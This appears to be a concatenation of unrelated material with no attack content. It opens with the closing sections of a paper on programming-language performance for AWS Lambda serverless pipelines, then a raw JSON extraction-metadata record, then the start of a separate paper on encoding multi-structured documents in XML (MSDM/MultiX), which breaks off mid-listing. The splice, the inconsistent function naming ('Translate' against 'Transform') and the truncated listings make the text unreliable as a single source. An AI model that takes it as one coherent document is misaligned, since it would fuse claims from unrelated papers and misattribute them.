Our results provide two interesting observations. On average, Java had the most cold-start overhead; this was expected. Alongside that, Node.js and Python were only 39ms and 82ms better than Java. We assumed that these interpreted
languages would be much better than Java. It should be noted that cold-start overhead is higher when functions are deploying using a VPC. Another observation is that package size does not appear to impact cold-start overhead across the languages. The Python Transform function, with its tiny 6 KB package, still had more cold start latency than Go’s 14.9 MB package. When comparing package sizes for the same language, the smaller 6.4 MB package for Java Transform did result in less cold start latency versus the 8.7 MB packages for the Load and Query functions (587ms with 6.3 MB package and ~730ms with 8.7 MB package).
Cold start latency is one of the greatest examples of FaaS language bias that a developer making a serverless application cannot do anything about. Languages may offer better performance on some FaaS platforms vs. others as a result of each platform’s specific language runtime implementation. For example, by developing an application in Java rather than Go on AWS Lambda, an application will always have more cold start latency (here ~221ms) because of how Lambda initializes function instances. For frequently invoked long running applications this runtime may be insignificant, but for every function in an application it compounds the latency. Choosing Java, Python, or Node.js instead of Go resulted in an average of 20.2% more cold latency.
D. Memory Configuration Performance Scaling
We profiled the resource utilization for each function using Linux Time Accounting metrics [33] to determine how much time each function spent executing user code, idling, waiting for network I/O, or executing code in the operating system’s kernel. AWS Lambda throttles performances of functions with lower reserved memory not by reducing clock speed, but by adjusting the CPU time share to effectively increase CPU idle time when a function is running. Figure 5a depicts how as the memory setting increases or decreases, the CPU user time remains fairly constant. Conversely, Figure 5b shows that when the memory setting is decreased, the CPU idle time increases.
Figure 6 shows how performance of each pipeline scales based upon the memory setting. In this graph, pipeline runtime is normalized to a percentage of each memory setting’s runtime compared to the maximum memory setting. This allows us to compare differences between how performance of each language scales relative to the memory setting. With perfect scaling, 3008MBs would be 100%, 1536MBs would be 50%, 768MBs would be 25% and so on.
For our pipelines, we did not see significant performance improvements above 1536 MBs. In some trials, higher memory settings produced worse performance than lower memory settings. For example, the Go pipeline took on average 1895ms with 2560 MBs of RAM while it took 1992ms with 3008 MBs. The primary reason we did not see performance improvements after 1536 MBs was because our functions are all single threaded. Above 1536MB, functions gain access to a second CPU core on AWS Lambda which our functions do not utilize. This provides an example of how FaaS platforms obscure pricing. Without testing, a developer may assume that 3008 MBs would always be the fastest memory setting when they actually get nearly equivalent performance to 1536 MBs while then paying double.
With low memory settings, we did not observe perfect scaling as memory size was decreased. Going from 1024 MBs to 512 MBs relative function speed dropped from 69%→35% (x0.51), 82%→44% (x0.54), 74%→42% (x0.57), and 76%→44% (x0.58) for Go, Java, Python, and Node.js respectively. At 1024 MBs and below, Go consistently saw lower scaled performance compared to the other three languages with memory settings lower than 1536 MBs. For 1,000,000 invocations, choosing the 3008 MB setting instead of 1536 MB would result in paying $310, $220, $374, and $581 more for Go, Java, Python, and Node.js respectively. This equates to paying up to 95% more for a mere 4.8% performance improvement.
V. CONCLUSIONS
In this paper, we developed a multi-function Transform-Load-Query data processing pipeline in Java, Python, Go, and Node.js. Using these pipelines, we investigated the overall performance variation, cold start latency, scalability, and implications of memory size. We investigated how programming language selection impacts the efficiency of serverless data processing pipelines with a series of experiments.
Our research findings include: RQ-1: Executing each pipeline with varying workload sizes showed which language was able to run each function of the pipeline the fastest. Go had the lowest runtime for the Transform and Query functions, while Java performed the Load function the fastest. Due to poor Load function performance in Go, Java achieved the best performance.
on average for the entire pipeline. For these workloads, choosing Node.js instead of Java resulted in 94% higher costs. We also identified the potential for performance improvements by building hybrid pipelines that combine functions written in multiple languages. The fastest configuration was a pipeline using Go for Translate/Query functions, and Java for the Load function. Our hybrid pipeline provided performance improvements ranging from 17% to 129% compared to single language pipelines. **RQ-2:** Running up to 50 concurrent instances of our data processing pipeline introduced minor linear increases in runtime for Python, Java, and Go (8%-19% increase in runtime). Node.js was affected much more negatively (35% runtime increase). **RQ-3:** Our cold state latency testing for each language agreed with previous research in [15] where Java had the highest cold start latency, while Go was found to outperform every other language. Reducing package size reduced cold latency when comparing functions in the same language, but not when comparing functions from different languages (e.g. Python and Go). Due to cold start latency, using Java, Python, or Node.js to process small datasets was 20% more expensive than Go. **RQ-4:** Performance scaled approximately linearly for memory sizes up to 1536MB for each language. For memory settings higher than 1536MB, there was no major performance improvement, but significant increases in hosting costs (95% cost increase for 4.8% performance improvement). Notably, runtime of our Go pipeline was impacted more at memory settings below 1024 MBs, resulting in lower relative performance compared to the other languages.
This paper provides a comparison of a multi-language serverless data processing pipeline that developers can refer to when considering serverless designs. Overall, there is likely no definite best language for all serverless applications. Ultimately developers should consider resource requirements, and profile performance to optimize their designs before deployment on serverless platforms to mitigate any potential pitfalls.
**ACKNOWLEDGMENTS**
This research is supported by the NSF Advanced Cyberinfrastructure Research Program (OAC-1849970), NIH grant R01GM126019, and the AWS Cloud Credits for Research program.
**REFERENCES**
5. “Openwhisk common use cases.” https://console.blueprint.net/docs/openwhisk/.
|
{"Source-Url": "https://faculty.washington.edu/wlloyd/papers/cbdcom_FaaSProgrammingLanguagePaper_camera_ready.pdf", "len_cl100k_base": 9335, "olmocr-version": "0.1.53", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 35551, "total-output-tokens": 12097, "length": "2e13", "weborganizer": {"__label__adult": 0.00039458274841308594, "__label__art_design": 0.00032329559326171875, "__label__crime_law": 0.0002727508544921875, "__label__education_jobs": 0.0010023117065429688, "__label__entertainment": 8.976459503173828e-05, "__label__fashion_beauty": 0.00017714500427246094, "__label__finance_business": 0.000583648681640625, "__label__food_dining": 0.00037288665771484375, "__label__games": 0.0005049705505371094, "__label__hardware": 0.0014781951904296875, "__label__health": 0.000701904296875, "__label__history": 0.00029730796813964844, "__label__home_hobbies": 0.0001131296157836914, "__label__industrial": 0.0004799365997314453, "__label__literature": 0.00024580955505371094, "__label__politics": 0.0002663135528564453, "__label__religion": 0.0004336833953857422, "__label__science_tech": 0.0504150390625, "__label__social_life": 0.00010955333709716796, "__label__software": 0.00737762451171875, "__label__software_dev": 0.93310546875, "__label__sports_fitness": 0.000316619873046875, "__label__transportation": 0.0007076263427734375, "__label__travel": 0.00022459030151367188}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 50379, 0.04407]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 50379, 0.37482]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 50379, 0.88217]], "google_gemma-3-12b-it_contains_pii": [[0, 5958, false], [5958, 12577, null], [12577, 19238, null], [19238, 24802, null], [24802, 30797, null], [30797, 36751, null], [36751, 41526, null], [41526, 50379, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5958, true], [5958, 12577, null], [12577, 19238, null], [19238, 24802, null], [24802, 30797, null], [30797, 36751, null], [36751, 41526, null], [41526, 50379, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 50379, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 50379, null]], "pdf_page_numbers": [[0, 5958, 1], [5958, 12577, 2], [12577, 19238, 3], [19238, 24802, 4], [24802, 30797, 5], [30797, 36751, 6], [36751, 41526, 7], [41526, 50379, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 50379, 0.12422]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
6e17e7ed57c2e5e6dc40c4aad9fc94973378ce7a
|
Modeling, Encoding and Querying Multi-Structured Documents
Pierre-Edouard Portier, Noureddine Chatti, Sylvie Calabretto, Elod Egyed-Zsigmond, Jean-Marie Pinon
To cite this version:
HAL Id: hal-01353379
https://hal.archives-ouvertes.fr/hal-01353379
Submitted on 7 Mar 2017
HAL is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers.
L’archive ouverte pluridisciplinaire HAL, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d’enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.
MODELING, ENCODING AND QUERYING MULTI-STRUCTURED DOCUMENTS
Pierre-Édouard Portier, Noureddine Chatti, Sylvie Calabretto, Előd Egyed-Zsigmond and Jean-Marie Pinon
Université de Lyon
LIRIS UMR 5205 – INSA LYON
7, avenue Jean Capelle
69621 Villeurbanne Cedex, France
ABSTRACT
The issue of multi-structured documents became prominent with the emergence of the Digital Humanities field of practices. Many distinct structures may be defined simultaneously on the same original content for matching different documentary tasks. For example, a document may have both a structure for the logical organization of content (logical structure), and a structure expressing a set of content formatting rules (physical structure). In this paper, we present MSDM, a generic model for multi-structured documents, in which several important features are established. We also address the problem of efficiently encoding multi-structured documents by introducing MultiX, a new XML formalism based on the MSDM model. Finally, we propose a library of XQuery functions for querying MultiX documents. We will illustrate all the contributions with a use case based on a fragment of an old manuscript.
Keywords
Multi-structured document; XML; MultiX; Multi-structured Document Querying; XQuery
1 INTRODUCTION
1.1 DOCUMENT STRUCTURING
Document structuring is used in many applications such as document exchange, integration and information retrieval. Several types of structures (physical, logical, semantic ...) (Nanard & Nanard, 1995) (Poullet, Pinon, & Calabretto, 1997) have been defined for several specific uses. Moreover, a document can actually be a vehicle for various media types that can themselves introduce other structural layers (such as the temporal dimension of an audio track).
A single document can be used in many contexts. Thus, its content might be presented through many structures. In this case, the structures are said concurrent or parallel, since they share the same content. Humanities provide numerous instances of such structures. For example, the study of medieval manuscripts often implies the creation of concurrent hierarchical structures. First, we can consider a ubiquitous and trivial case of overlapping: the physical book-structure of a manuscript (a sequence of pages, columns, lines, etc.) and its syntactical structure (a sequence of sentences, words, etc.). Less trivial would be a structure of the sequences of damaged characters. Figure 1 is an extract of such a medieval manuscript fragment with its transcription. It should be noted that damaged characters are overlapping with words and words are overlapping with lines. The emphasis on multi-structured documents comes with the possibility of formally encoding documentary structures with digital representations. The fact that we find numerous examples of multi-structured documents in the TEI (Text Encoding Initiative) guidelines (TEI Consortium, 2011) should prove it. Among those examples, we can mention in verse drama, the structure of acts, scenes and speeches that often conflicts with the metrical
structure. Indeed, poems often provide multiple concurrent structures. Poem 1 is an example of two stanzas from a poem by Lewis Carroll\(^1\) with verses, speeches, and syntactic elements producing overlapping concurrent structures.
```
“What’s the good of Mercator’s North Poles and Equators,
Tropics, Zones, and Meridian Lines?”
So the Bellman would cry: and the crew would reply
“They are merely conventional signs!
“Other maps are such shapes, with their islands and capes!
But we’ve got our brave Captain to thank:”
(So the crew would protest) “that he’s bought us the best—
A perfect and absolute blank!”
```
**POEM 1 TWO STANZAS FROM THE HUNTING OF THE SNARK BY L. CARROLL**
**FIGURE 1 A FRAGMENT OF AN OLD MANUSCRIPT AND ITS TRANSCRIPTION**
### 1.2 CONSTRUCTION OF MULTI-STRUCTURED DOCUMENTS
#### 1.2.1 INTRODUCTION
The work presented here will deal with the central issue of encoding multi-structured documents. However, in order to make clear the advantages of our model over existing solutions, we now introduce the important but little-studied problem of the construction of multi-structured documents. Indeed, in a large majority of real life situations, documents are not \textit{a priori} given but have to be constructed. Moreover, this construction is in most cases the work of a team. Thus, it is to be expected that the partition of the annotations in a number of different structures comes from this collaborative work. In other words, the construction of multi-structured documents is a dynamic process. How do structures emerge? How to check on their coherence? ... In order to tackle these important issues, we need an adequate encoding for multi-structured documents.
In a previous work (Portier & Calabretto, Creation and maintenance of multi-structured documents, 2009) (Portier & Calabretto, DINAH, a philological platform for the construction of multi-structured documents, 2010) we explicitly studied the construction of multi-structured documents. Although the formal representation we then used was based on RDF rather than XML, this previous work offers a well-adapted and non-trivial applicative context for the XML based model we now propose. Moreover, it gives us the opportunity to motivate the key choices behind our proposition.
#### 1.2.2 CONTEXT
We studied how multi-structured documents are constructed in a multi-users context composed of philologists. Our work is based on experience gained working with Humanities researchers building digital editions of large archives of (mainly handwritten) manuscripts from various epochs. Digital editing covers the whole editorial, scientific and critical process that
\(^1\) http://www.gutenberg.org/files/13/13-h/13-h.htm
leads to the publication of an electronic resource. In the case of manuscripts, editing mainly consists in the transcription and critical analysis of digital facsimiles, that is to say, the creation of a textual document associated with the images of a handwritten manuscript. We discovered that multi-structured documents construction was at the heart of their work. Indeed, they need to let coexist a multiplicity of structures in order to access a document according to many interpretations. Thus, we proposed a methodology promoting the emergence of multiple structures in a multi-users context.
1.2.3 SCENARIO
This study gave us a lot of scenarios similar to the following: a philologist finds a consistent subset about medicinal plants in a stack of pages of consequent size. He creates a new collection from this subset. He creates an association named “mainSubject” between this collection and the topic “Medicine”. He starts to transcribe the collection and annotates some intervals of the text with terms such as “quotation”, “prescription”, etc. Later, he may discover that this collection is in fact a preparatory work for another piece of the archive. He then creates an association named “preparationFor” between the two collections. Etc.
How is it that, for example, a user chooses to place the term “citationTitle” within a structure named “Citations” while he affects the term “line” to the “Physical” structure? This kind of question brought us to define a methodology for the construction of multi-structured documents.
1.2.4 METHODOLOGY
First of all, we only consider content addressable by concrete intervals: characters intervals in a text, time intervals in an audio or video document. In order to offer some unity to the various structures emerging from the work of a group of users, we introduce an a priori rule: a structure must form a hierarchy. In other words, the annotated intervals of a structure should never overlap. By dynamically checking the validity of this rule we managed to ease the collaborative construction of multi-structured documents. We should now briefly illustrate this idea with the previous example of an old manuscript (see Figure 1).
We assume that the researchers made use of annotation terms such as: “line”, “w” (for word) and “dmg” (for damaged characters). The transcription process continues until a word is overlapping with two lines (see strong & dashed lines of Figure 2).
The user will then be alerted about an incompatibility between the terms "line" and "w". Therefore the user is advised to re-organize the structures. The result of this operation might me similar to the one illustrated by Figure 3.
1.2.5 CONCLUSION
Finally, this strategy for the management of multi-structured documents promotes the construction of a multiplicity of structures that should reflect the perspectives adopted by the users working on a documentary archive. Each user has the liberty to create new structures. Moreover, when overlapping structures are detected, users are encouraged to solve the problem by introducing a new structure.
From this specific applicative aspect of multi-structured documents construction, we can infer some requirements for the encoding of such documents. In particular, the fragmentation approach appears to be a key feature. First of all, as we can learn from the multi-structured documents examples given by the TEI, in a large majority of cases, structures are sharing fragments of the raw content. Also, and we are inclined to stress this point, some of the non-trivial applications of multi-structured documents seem to rely on a dynamic, and often collaborative, manipulation of documentary fragments. Indeed, multiple structures often appear when users are carrying out highly interpretative tasks that require a fine-grained analysis of the primary content. In these circumstances, the fragmentation is an all-pervasive operation that should be made as straightforward as possible: a structure should be able to combine any subset of fragments independently from other structures.
1.3 **AGENDA**
We have proposed (Chatti, Kaouk, Calabretto, & Pinon, 2007) a generic model called MSDM (Multi-Structured Document Model), in which we define the notion of a multi-structured document. In this paper we deal with the multi-structured documents encoding issue. Encoding (i.e. making explicit an interpretation of a text) is very often achieved through using markup languages (i.e. sets of markup encoding conventions). Therefore, XML as a metalanguage for the description of markup languages is the tool of choice for many document centric projects. Often, parallel structures are encoded separately in distributed XML files. Encoding these structures in separate files has many disadvantages, such as content redundancy and breaking interdependency. This kind of solution introduces significant document management problems.
To address these problems, it may be interesting to encode all structures in a single XML document (one file for all concurrent structures), by superimposing them to avoid content redundancy. As a matter of fact, it is very difficult to encode concurrent structures in a single XML file. Usually the overlapping problem makes it impossible to get a well formed XML document. XML is based on a tree model (and therefore elements cannot overlap). In this paper, we propose a new formalism called MultiX, which allows the efficient encoding of multi-structured documents. MultiX, which uses an XML syntax, is based on the MSDM model.
After a survey of related works (section 2), we present, in section 3, a formal description of the MSDM model and illustrate it with the previous example of a manuscript document. This same example will be used in section 4 to illustrate the MultiX formalism. Section 5 will be dedicated to the multi-structured document querying issue.
2 **RELATED WORKS**
2.1 **INTRODUCTION**
The problem of encoding concurrent structures has attracted much attention. Several approaches have been proposed to deal with this problem. We classify the main approaches into two categories. The first one contains the very first works on the representation of several hierarchical structures inside a same text; these solutions are often exclusively syntactical. The second category includes works grounded on well-defined formal models. In a previous survey, (Calabretto, Bruno, & Murisaco, 2007) was referring to three categories making a distinction between “XML-compatible” models and the others. We choose to consider XML-compatibility as one of the dimensions against which the models will be studied.
2.2 **DIMENSIONS RETAINED FOR THE ANALYSIS**
We analyze each solution against six dimensions:
- **Data model**: On what kind of model is the solution based? Is it a tree, a graph, something else?
We should see that in most cases the solutions will be based on a tree, a set of trees or a generic graph. However, a few of them will use more exotic models. Moreover, there are the syntactical only solutions with no clearly defined data model. We consider the presence of a well-defined formal model as a most important feature. It is a quality criterion ensuring the continued evolution of the solution. Also, most of the time, this dimension will not be independent from others. Indeed, it can affect the query mechanisms, the possibility to update a multi-structured document, etc.
- **XML-compatibility**: Is the solution compatible with the XML formalism?
XML is nowadays the *de facto* standard for the representation of electronic documents. Among other things, the formalism is associated with numerous standard and efficient tools for processing documents: XSLT, XPath, XQuery, etc. Thus, XML-compatibility is essential. A solution doesn’t achieve XML-compatibility by merely managing XML files but by allowing a straightforward use of the aforementioned tools. Regarding this last point, different approaches are encountered. Some of them modify the XML model itself; some modify the XPath or XQuery specification while others manage not to alter the XML core. We incline toward this last category since we consider solutions modifying the core of the XML model unsustainable compared to solutions taking advantage of the “galaxy” of XML tools with light, nonintrusive, approaches.
- **Master structure:** Does the solution rely on a master structure or are all the structures on a same level?
As we shall see, the solutions can be divided in two main categories with respect to how they manage overlapping of elements. Firstly, there are the solutions that build the documents around a main or master structure with all the remaining structures being defined in relation to it. Secondly, there are also solutions that give no privilege to any structure. For the later, as far as the model is concerned, all the structures are equal. As we have tried to show in the introduction, non-trivial use of multi-structured documents tend to call for such an *a priori* equality of structures. Thus, we favor this last category of solutions.
- **Queries:** Does the solution come with adapted query mechanisms?
With no doubt, the possibility to make complex queries is one of the most useful features of electronic documents. Multi-structured documents, particularly when they cause some overlapping of structure elements, often ask for subtle queries that couldn’t be performed with the existing query engines. Thus, good solutions will come with new query functions and take into account the overlapping situations.
- **Updates:** Once a multi-structured document exists, how can it be modified?
Because of the complexity of managing multiple structures for a same document, some solutions will not provide any easy way to modify an existing multi-structured document. Due to the kind of use cases aforementioned in the introduction, we give great importance to the possibility of building documents and so we rank higher the solutions allowing the modification of existing multi-structured documents.
- **Performance / Implementation:** Is there an implementation? How efficient is it?
Finally, due to the very practical aspect of multi-structured documents and the urgent need to provide effective solutions for their management, we will consider the performance issue of the existing implementations.
### 2.3 Synoptic view of the solutions
The Table 1 is a summary of the works being evaluated in the following parts of this survey section.
<table>
<thead>
<tr>
<th>Solution</th>
<th>Data model</th>
<th>XML-compatibility</th>
<th>Master structure</th>
<th>Queries</th>
<th>Updates</th>
<th>Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>CONCUR</td>
<td>Syntactical only solution, no model.</td>
<td>SGML option.</td>
<td>The structures are independent.</td>
<td>No</td>
<td>Easy, since there is only one file.</td>
<td>None</td>
</tr>
<tr>
<td>TEI guidelines</td>
<td>redundacy</td>
<td>No</td>
<td>XPath and XQuery can’t be used</td>
<td>No</td>
<td>Yes!</td>
<td>No needs. They are syntactical only solutions.</td>
</tr>
<tr>
<td></td>
<td>Empty elem.</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Virtual elem.</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Stand-off markup</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>No model is provided. These are syntactical solutions.</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>No generic parsing tool implements XInclude with third-party XPointers schemes. Therefore, this solution is not fully usable.</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>A new language with a grammar that allows overlaps</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>MECS / TexMECS</td>
<td>No. A hierarchical TexMECS document is isomorphic to an XML document.</td>
<td></td>
<td>No. The structures are all equal.</td>
<td>No</td>
<td>Yes, since only one document.</td>
<td>Parsers have been implemented.</td>
</tr>
</tbody>
</table>
**TABLE 1 SUMMARY OF THE EVALUATION OF RELATED WORKS**
<table>
<thead>
<tr>
<th>Language/Model</th>
<th>Modification of the XML core model</th>
<th>No master structure.</th>
<th>No specialized query mechanism.</th>
<th>Yes, since only one document.</th>
<th>A toy parser has been implemented and some XSLT style sheets to deal with the XML syntax.</th>
</tr>
</thead>
<tbody>
<tr>
<td>LMNL</td>
<td>A new language based on a notion of layers with overlapping and recursive annotations.</td>
<td>XML syntax is provided (it relies on empty elements). The use of standard XML tools becomes difficult.</td>
<td>No master structure.</td>
<td>No specialized query mechanism.</td>
<td>Yes, since only one document.</td>
</tr>
<tr>
<td>MuLaX</td>
<td>Modification of the XML core model</td>
<td>An mlx document is not compatible with XML, but there can be a projection of each structure into an XML document.</td>
<td>As for CONCUR, the structures are independent.</td>
<td>No</td>
<td>Yes, since only one document.</td>
</tr>
<tr>
<td>Annotations Graphs</td>
<td>Native graph model</td>
<td>No master structure but a decomposition of the content in elementary fragments.</td>
<td>XPath extensions have been proposed for the XML serialization of Annotation Graphs.</td>
<td>Since structures and data share a same graph, updates are easy to perform.</td>
<td>The implementation focuses on linguistic applications</td>
</tr>
<tr>
<td>RDFTef</td>
<td>RDF graph model</td>
<td>The standard XML tools can’t be used.</td>
<td>No master structure.</td>
<td>Specialized SPARQL functions can manage overlapping.</td>
<td>Yes, same reason as above.</td>
</tr>
<tr>
<td>Method</td>
<td>Description</td>
<td>No master structure</td>
<td>SPARQL can be used quite straightforwardly</td>
<td>Yes, same as above.</td>
<td>Standard Semantic Web tools are used for the implementation (Pellet, etc.)</td>
</tr>
<tr>
<td>----------</td>
<td>-----------------------------------------------------------------------------</td>
<td>---------------------</td>
<td>---------------------------------------------</td>
<td>---------------------</td>
<td>--------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>EARMARK</td>
<td>RDF graph model. It is more of a meta-model in which most of the models in this table could be expressed.</td>
<td>No</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>GODDAG</td>
<td>Same as above.</td>
<td>Yes, by way of a modification of the DOM.</td>
<td>Same as above.</td>
<td>By way of new XPath axes.</td>
<td>Updates are not considered but individual structures can be extracted / integrated from / to a GODDAG.</td>
</tr>
<tr>
<td>MCT</td>
<td>Same as above.</td>
<td>Yes, at the cost of an extension to the core model of XQuery.</td>
<td>Yes, there is one master structure around which the others are defined.</td>
<td>Yes: with a new XPath step one can choose the color for an XML node.</td>
<td>It might be possible to use XUpdate with the new XPath step.</td>
</tr>
<tr>
<td>Delay Nodes</td>
<td>Add a new kind of node to the core XML model.</td>
<td>Provided the extension of the model, delay nodes documents can be processed by standard XML tools.</td>
<td>Same as above.</td>
<td>XPath and XQuery can be used with some restrictions.</td>
<td>No, updating a delay nodes document is very difficult.</td>
</tr>
<tr>
<td>MSXD</td>
<td>Same as above.</td>
<td>Yes, with some XQuery functions.</td>
<td>No, all structures are equal.</td>
<td>By way of new XQuery functions.</td>
<td>Updates are not considered.</td>
</tr>
<tr>
<td><strong>MonetDB</strong></td>
<td><strong>Multiple rooted trees.</strong></td>
<td><strong>Yes, since it is an extension of an XML DB.</strong></td>
<td><strong>All structures are considered equals.</strong></td>
<td><strong>Four new optimized XPath axes have been added.</strong></td>
<td><strong>Updates are difficult. No dedicated tool provided.</strong></td>
</tr>
<tr>
<td>---</td>
<td>---</td>
<td>---</td>
<td>---</td>
<td>---</td>
<td>---</td>
</tr>
<tr>
<td><strong>MSDM / MultiX</strong></td>
<td><strong>Same as above.</strong></td>
<td><strong>Yes and it only needs some XQuery functions.</strong></td>
<td><strong>Same as above.</strong></td>
<td><strong>Thanks to a few XQuery functions.</strong></td>
<td><strong>Yes, thanks to a specialized parser.</strong></td>
</tr>
</tbody>
</table>
## 2.4 Historical Works
### 2.4.1 CONCUR
CONCUR (ISO 8879, 1986) is an optional SGML feature with which one can define several parallel DTD for the same content. In such an SGML document, all structures share a single file. For each structure, the annotations are decorated with a specific prefix identifying a given DTD (see Listing 1 for an illustration of CONCUR with the manuscript example introduced above).
```xml
<!DOCTYPE S1 SYSTEM "dtds/physical.dtd">
<!DOCTYPE S2 SYSTEM "dtds/syntaxical.dtd">
<(S1)Lines>
<(S2)Words>
<(S1)Line><(S2)Word>hu</(S2)Word> <(S2)Word>þu</(S2)Word> <(S2)Word>me</(S2)Word> <(S2)Word>hæfst</(S2)Word> <(S2)Word>afrefredne</(S2)Word> <(S2)Word>æg</(S2)Word>
<(S1)Line>
<(S2)Word>þer</(S2)Word> <(S2)Word>ge</(S2)Word> <(S2)Word>mid</(S2)Word> <(S2)Word>smealcan</(S2)Word> <(S2)Word>spra</(S2)Word>
<(S1)Line>
<(S2)Word>ce</(S2)Word>, <(S2)Word>ge</(S2)Word> <(S2)Word>mid</(S2)Word> <(S2)Word>pinre</(S2)Word> <(S2)Word>wynsumnesse</(S2)Word> <(S2)Word>bines</(S2)Word></(S1)Line>
</(S2)Word>
</(S1)Line>
</(S2)Words>
</(S1)Lines>
```
**LISTING 1 CONCUR ILLUSTRATION**
Meanwhile, relationships can’t be established between the different structures. Moreover, as noted by (Hilbert, Witt, & Schonefeld, 2005), when two elements of different DTD are qualifying exactly the same region, the order of their “start” and “end” tags is irrelevant. Obviously, as an SGML option, CONCUR is not compatible with XML. Though, as we should see, there have been initiatives to adapt it to the XML world. We are not aware of any query mechanism for CONCUR. The
document being unique, structures and data changes are easy. Finally, this solution has rarely been implemented and even Charles Goldfarb (as recalled in (Hilbert, Witt, & Schonefeld, 2005)), the main developer of the SGML standard, did not recommend its use.
2.4.2 TEI
The XML standard, although based on SGML, did not retain nor adapted the CONCUR modeling of multi-structured documents. However the needs were more than ever present. Thus, the XML version of the TEI (Text Encoding Initiative) guidelines offers several methods for the encoding of multiple hierarchies (TEI Consortium, 2011). These methods can be classified in four different categories: redundant encoding of information in multiple forms (C1); empty elements to delimit the boundaries of non-nesting structures (C2); breaking non-nesting elements into smaller elements linked by a ‘reference’ attribute (C3); stand-off markup approach that separates the content and the elements describing it (C4). These solutions are more like recipes than well-defined models.
With the first three categories of solutions, the standard XML tools (XPath, XQuery …) can’t be used straightforwardly. It quickly becomes very difficult to express even simple queries. For the fourth solution, the guidelines advise us to use the XInclude\(^2\) standard to establish the links between structures and content. However, the TEI also uses third-party XPointers schemes, and no generic parsing tools implement XInclude with support for such schemes (Bański, 2010).
For redundant encoding of information, there is obviously no master structure. For empty elements, and fragmentation, the elements of encoding that do not make use of the recipes can be said to belong to a master structure, and only this structure will be easy to work with (query, etc.). For stand-off markup, the structures will make reference to a decomposition of the content in elementary fragments and no master structure is as such required.
Moreover, since XPath and XQuery can’t be used in a standard way, queries are either difficult or even impossible.
Updating facilities vary. For the first category (redundant encoding), updates are of course very costly. For categories C2 and C3, since the representations of the structures share a same file, updates are easy. For stand-off markup, no mechanism is provided to ease the updating process.
Finally, those solutions only consist of recipes and no implementation per se is provided. However, numerous projects seem to follow these recommendations for the representation of multi-structured documents when overlapping occurs only rarely.
2.5 FORMAL MODELS
2.5.1 TexMECS
To make up for the limits of existing markup languages, other studies have been carried out in order to define new syntaxes. MECS (Multi-Element Code System) made the overlapping of elements possible. TexMECS (Huitfeldt & Sperberg-McQueen, 2003) is a follow-up of MECS where complex structures can be defined with elements having many parents (see Listing 2 for an illustration of a TexMECS encoding of the manuscript example introduced above).
\(^2\) www.w3.org/TR/xinclude/
In general, TexMECS documents are not isomorphic to XML documents and so the XML tools cannot be used. However, for documents with no overlaps, a direct translation to XML is feasible. As far as we know, no query mechanisms have been developed. Moreover, all the structures and the primary data sharing a same representation (i.e. a file), it remains easy to update them. Finally, a TexMECS well-formedness checker has been implemented.
2.5.2 LMNL
LMNL (Layered Markup and aNnotation Language) (Tennison & Piez, 2002) defines a specific syntax based on the notion of range, allowing the encoding of multiple structures where elements can overlap (see Listing 3 for an illustration). However, LMNL is first of all a data model and not only a syntactical representation. A LMNL document is based on a text layer made of a sequence of atoms (for example: Unicode characters). Ranges are used to define fragments of content. Ranges can be annotated with new text layers that themselves can have ranges...
LISTING 3 LMNL ILLUSTRATION
Pathways exist to convert to and from XML documents by way of milestones (i.e. empty elements). Obviously, when overlapping happens, it then becomes difficult to use standard XML tools. As far as we know, no query mechanisms have been developed. Moreover, all the structures and the primary data sharing a same file, it remains easy to update them. Finally, XSLT stylesheets have been developed to deal with the XML representation of a LMNL document.
2.5.3 MuLaX
MuLaX (Hilbert, Witt, & Schonefeld, 2005) is an adaptation of the SGML CONCUR option to the XML formalism. It is intended as a document format that can merge in a uniform way a collection of several XML documents into one document. A layer ID prefixes each tag name. A MuLaX document can be projected onto its initial XML documents (one XML
---
3 http://decentius.aksis.uib.no/servlets/mlcd/web/WFCheck.jsp
4 http://www.piez.org/wendell/LMNL/lmnl-page.html
document for each layer). Each projection results in a well-formed XML document. Listing 4 is an example of the MuLaX syntax applied to our running example.
```xml
<?mlx version="1.0" encoding="iso-8859-1">
<Lines>
<Line><Word>hu</Word> <Word>pu</Word> <Word>me</Word>
<Word>hafst</Word> <Word>afrefredne</Word> <Word>æg</Word><Line>
